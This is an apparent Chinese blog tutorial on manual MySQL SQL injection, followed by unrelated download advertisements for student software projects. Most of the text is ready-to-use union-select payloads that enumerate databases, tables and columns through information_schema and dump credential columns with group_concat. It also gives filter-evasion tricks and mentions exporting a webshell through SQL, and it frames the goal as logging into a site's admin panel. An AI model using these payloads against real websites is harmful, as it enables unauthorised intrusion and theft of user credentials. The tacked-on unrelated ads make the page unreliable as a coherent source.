mysql注入 xfkxfk_MySQL数据库手工注入技巧

MySQL数据库手工注入技巧

MySQL数据库的注入很复杂、很精彩,完全是Access不能比的。因为MySQL的注入很灵活了,完全不像Access那样死板固定,我感觉Access的注入完全是靠人品,或者可以说,谁的表名、列名字典大,谁的成功率就大。

根据我对MySQL的认识,注入时,基本可以通过爆、盲注、报错三种方式获得用户名和密码,在权限足够的情况下,还可以直接通过SQL语句插入并导出我们的一句话webshell。

当拿到一个MySQL的注入点的时候,我们需要判断MySQL的版本。因为当MySQL的版本小于4.0时,是不支持union

select联合查询的;当MySQL版本大于5.0时,有个默认数据库information_schema,里面存放着所有数据库的信息(比如表名、 列名、对应权限等),通过这个数据库,我们就可以跨库查询,爆表爆列。现在一般情况下,MySQL都是4.0以上的,所以我们就放心的用联合查询吧。

对于MySQL的注入,大概有这些思路:

1.判断注入点是否有读写权限,如果有,那么可以直接读取配置文件、用户名密码等;当magic_quotes_gpc为off的时候还可以直接导出一句话webshell。

//magic_quotes_gpc为on的时候,'会被转成\',而写导出的绝对路径的时候又必须是用'括起来,所以,就蛋疼了。。

2.没有读写权限时,判断MySQL版本,5.0以上时可以通过爆的方式获得用户名密码;5.0以下或者5.0以上不能爆时(比如限制了information_schema数据库),可以通过盲注获得用户名密码。

//盲注:我的理解是,通过返回页面的正确与否判断查询语句是否正确,和Access数据库的注入很类似,可以算是猜吧。

3.有时候,由于一个参数可能执行了多个查询语句,而导致查不出字段数,更没有数字回显时,如果服务器开启了MySQL错误回显的话,还可以通过报错注入从报错信息中获取我们想要知道的东西。

暂时我想起来的就这些,盲注和报错这两种方式俺不是太熟,就不说了。在这里,我就只简单介绍下MySQL数据库5.X版本的爆表爆列爆内容。

步骤一:判断注入点

不多说了。单引号、and

1=1、and

1=2。

步骤二:order

by和union

select

通过order

by查出字段数目N,然后联合查询。

and1=2 union select

1,2,3,4...,N--

//首先and

1=2报错,用单引号或在参数前加个"-"也行

//这里和Access不同,后面可以不加"from 表名";最后面的"--"是注释符,注释掉后面的语句,防止出错,换成斜杠*也行,也可以不加

//Access不支持注释符,MySQL和MSSQL支持

//这两个也不多说了步骤三:查出基本信息

得到数字回显后,将对应数字位换成我们想查询的信息,比如显示位是3

and1=2 union select 1,2,version(),4...,N--

//介绍几个常用函数:

1. version()——MySQL版本

2. user()——用户名

3. database()——数据库名

4. @@datadir——数据库路径

5. @@version_compile_os——操作系统版本

我们可以通过将对应函数放到显示位中查出相应信息

//再介绍几个很有用的函数:

1. concat(str1,str2,...)——没有分隔符地连接字符串

2.

concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串

3.

group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据

说着比较抽象,其实也并不需要详细了解,知道这三个函数能一次性查出所有信息就行了。

比如:concat(version(),0x3a,user(),0x3a,database(),0x3a,@@datadir,0x3a,@@verion_compile_os)

concat_ws(0x3a,version(),user(),database(),@@datadir,@@verion_compile_os)

group_concat(version(),0x3a,user(),0x3a,database(),0x3a,@@datadir,0x3a,@@verion_compile_os)

//0x3a是":"的十六进制,在这里把它作为分隔符,没有它,查出来的东西就连成一片了

//在实际查的时候,有些时候可能会出错,比如@@verion_compile_os这个函数就经常出错,去掉就是了。。= =

//对于MySQL函数可以百度,或查看MySQL官方手册

爆的方法有很多,我就说说我知道的几种吧,从最“温和的”到最“野蛮的”。

第一种:查表查列

1. and 1=2

union select 1,2,table_name,4 from (select * from

information_schema.tables where table_schema=库名十六进制

limit N,1)t limit

1--复制代码2. and 1=2

union select 1,2,column_name,4 from (select * from

information_schema.columns where table_name=表名十六进制

and table_schema=库名十六进制

limit N,1)t limit

1--复制代码3. and 1=2

union select 1,2,列名,4

from 表名复制代码//这里改变N的值,查出一个个表名、列名

//这个方法比较老,具体的原理那些我也不太懂,尤其是那个t和后面那个limit

1,了解下就行了

第二种:高级查表查列

1. and 1=2

union select 1,2,schema_name,4 from information_schema.schemata

limit N,1复制代码2.

and 1=2 union select 1,2,table_name,4 from

information_schema.tables where table_schema=要查的库名的十六进制

limit

N,1复制代码3. and 1=2

union select 1,2,column_name,4 from information_schema.columns

where table_name=要查的表名的十六进制limit N,1复制代码//有个提速技巧,要查的库名的十六进制那个地方填database(),就是table_schema=database(),直接就表示当前数据库

//找敏感的表,含有admin、manage或user之类的

第三种:爆表爆列

1. and 1=2

union select 1,2,group_concat(schema_name),4 from

information_schema.schemata复制代码2. and 1=2 union select

1,2,group_concat(table_name),4 from information_schema.tables where

table_schema=要爆的库名的十六进制复制代码3. and

1=2 union select 1,2,group_concat(column_name),4 from

information_schema.columns where

table_name=要爆的表名的十六进制复制代码4. and

1=2 union select 1,2,group_concat(列名1,0x3a,列名2),4 from 表名复制代码//distinct表示不同,也就是去掉爆出内容的重复部分,不加也可以,我习惯加上

//这个方法好就好在通过用group_concat()这个函数直接爆出所有库名、表名、列名、字段内容,可以提高速度,方便查找

第四种:高级爆表爆列

1. and 1=2

union select 1,2,group_concat(distinct table_schema),4 from

information_schema.columns复 制代码2. and 1=2 union select 1,2,group_concat(distinct

table_name),4 from information_schema.columns where

table_schema=要爆的库名的十六进制复制代码3. and

1=2 union select 1,2,group_concat(distinct column_name),4 from

information_schema.columns where

table_name=要爆的表名的十六进制复制代码4. and

1=2 union select 1,2,group_concat(列名1,0x3a,列名2),4 from 表名复制代码//所有数据都是从information_schema.columns这个表里获取,因为从information_schema这个库的介绍information_schema.columns这个表里,我们可以查到所有的信息,因为它在里面,table_schema、 table_name、column_name这个三个列都有,所以我们可以直接通过这个表,查出我们需要的所有信息,就省了换表这一步了,进一步提升速

到这一步,我们的注入就算完成了,找后台解密登陆就是了。俺再多说几句。

还是那句话,MySQL的注入非常的灵活,我总结的只是最基本的语句,只是一点点皮毛而已。至于更高级的,大家去论坛、百度找找吧。比如当我们用上面的语句无法成功查出的时候,我们可以尝试下这些方法。

1. 当union select

1,2,3,4没有出现数字位时,可以尝试把数字都换成null,然后逐个尝试替换成数字或字符或直接换成version(),找到可以显示出来的那一位。这个貌似是因为对应变量类型不同的原因,我也不是太懂。

2. 有些时候莫名其妙的就出错的时候(比如有数字显示位,而用替换函数(比如version())去替换时却返回空白页或报错),爆不出来的时候,可以尝试通 过hex()或convert()等函数来解决可能的编码问题,比如hex(version())、unhex(hex(version()))、 convert(version() using latin1)等等

3. 在注入的时候,可以把空格换成"+"或者"",这都是等价的,因为空格会被自动转成" ",看着很乱,而且换过以后貌似能过一些过滤。

4.

另外,在遇到网站有过滤的时候,可以考虑下大小写变换绕过。所以经常看到大牛们的注入语句是稀奇古怪、变幻莫测。。最近又看到一个变态的绕过方

法,,把容易被过滤的东西放到中,一样可以正常查询,也就是=select。如果你还不放 心那就这样。这个=XXX的原理我还不懂,希望大牛能给解释下啊,求教~

Python网络爬虫与推荐算法新闻推荐平台:网络爬虫:通过Python实现新浪新闻的爬取,可爬取新闻页面上的标题、文本、图片、视频链接(保留排版) 推荐算法:权重衰减+标签推荐+区域推荐+热点推荐.zip项目工程资源经过严格测试可直接运行成功且功能正常的情况才上传,可轻松复刻,拿到资料包后可轻松复现出一样的项目,本人系统开发经验充足(全领域),有任何使用问题欢迎随时与我联系,我会及时为您解惑,提供帮助。 【资源内容】:包含完整源码+工程文件+说明(如有)等。答辩评审平均分达到96分,放心下载使用!可轻松复现,设计报告也可借鉴此项目,该资源内项目代码都经过测试运行成功,功能ok的情况下才上传的。 【提供帮助】:有任何使用问题欢迎随时与我联系,我会及时解答解惑,提供帮助 【附带帮助】:若还需要相关开发工具、学习资料等,我会提供帮助,提供资料,鼓励学习进步 【项目价值】:可用在相关项目设计中,皆可应用在项目、毕业设计、课程设计、期末/期中/大作业、工程实训、大创等学科竞赛比赛、初期项目立项、学习/练手等方面,可借鉴此优质项目实现复刻,设计报告也可借鉴此项目,也可基于此项目来扩展开发出更多功能 下载后请首先打开README文件(如有),项目工程可直接复现复刻,如果基础还行,也可在此程序基础上进行修改,以实现其它功能。供开源学习/技术交流/学习参考,勿用于商业用途。质量优质,放心下载使用。
项目描述:建立购物小商城平台. 实现了前台页面系统。 技术描述:通过Spring 主框架来管理Struts2和Hibernate 框架搭建的电商小平台,用MySQL数据库并创建了表有用户表,订单表,商品表,商品分类表,商品内容表,购物车表等来存储数据。用到hibernate….zip项目工程资源经过严格测试可直接运行成功且功能正常的情况才上传,可轻松复刻,拿到资料包后可轻松复现出一样的项目,本人系统开发经验充足(全领域),有任何使用问题欢迎随时与我联系,我会及时为您解惑,提供帮助。 【资源内容】:包含完整源码+工程文件+说明(如有)等。答辩评审平均分达到96分,放心下载使用!可轻松复现,设计报告也可借鉴此项目,该资源内项目代码都经过测试运行成功,功能ok的情况下才上传的。 【提供帮助】:有任何使用问题欢迎随时与我联系,我会及时解答解惑,提供帮助 【附带帮助】:若还需要相关开发工具、学习资料等,我会提供帮助,提供资料,鼓励学习进步 【项目价值】:可用在相关项目设计中,皆可应用在项目、毕业设计、课程设计、期末/期中/大作业、工程实训、大创等学科竞赛比赛、初期项目立项、学习/练手等方面,可借鉴此优质项目实现复刻,设计报告也可借鉴此项目,也可基于此项目来扩展开发出更多功能 下载后请首先打开README文件(如有),项目工程可直接复现复刻,如果基础还行,也可在此程序基础上进行修改,以实现其它功能。供开源学习/技术交流/学习参考,勿用于商业用途。质量优质,放心下载使用。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值